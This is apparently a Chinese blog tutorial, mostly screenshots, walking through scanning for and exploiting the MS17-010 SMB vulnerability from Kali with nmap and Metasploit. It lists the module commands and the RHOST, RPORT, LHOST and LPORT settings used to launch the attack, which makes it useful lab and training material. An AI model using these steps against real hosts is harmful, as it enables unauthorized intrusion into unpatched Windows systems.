#可以先进行快照哦!!!!!
准备
打开kali虚拟机,进入命令行界面,要使用msf,需要进入管理员模式,如图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/369663fc688ff5adec16c9b1d6df86ea.png)
下载插件,输入 nmap -p 445 --script=smb-vuln-ms17-010.nse 目标地址,如图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/765554fc89d4df2539ef3c0951b17ce9.png)
输入msfconsole启动msf,如图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/db46c376ede68bf89115387dc6db85ca.png)
输入search ms17-010 搜索利用该漏洞的 脚本工具
![](https://i-blog.csdnimg.cn/blog_migrate/01ac1b235a6371360e1d43aad42b1118.png)
#使用use +编号 使用搜索出来的模块;RHOST 为目标地址;RPORT 为目标端口
实例
假设使用模块三,如图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/57e6bed594a7b251a8e8c372431edcbd.png)
返回上一部,如图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/ca81bd0b6f4de275cc01a409426eaa53.png)
输入use auxiliary/scanner/smb/smb_ms17_010,如图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/26aa9b72d9a92b2854026224ac0c8428.png)
最后show options,如图所示 :
![](https://i-blog.csdnimg.cn/blog_migrate/4e446af7ce24514425e922d1931050cf.png)
执行 run 或者exploit 执行脚本,如图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/291b82fbc84c7960aa20f2aeeba20a79.png)
back返回,输入search ms17-010,如图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/f0d6f28d1f395ea790c6aafe73e60af3.png)
使用攻击脚本 ,use 0,如图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/9af281f1a62e50d8fe6f7c701ffc3cf5.png)
设置目标主机(RHOST 为目标地址;RPORT 为目标端口;LHOST 为本地会话监听地址;LPORT 为本地会话监听端口)如图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/684e24a6a3e17ef8a5caa71fec9f859c.png)
显示信息,如图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/5667f72a752ab716319985793bc17f9c.png)
执行攻击,如图所示:
![](https://i-blog.csdnimg.cn/blog_migrate/c4793e1715e735144f8b8507dfdcd022.png)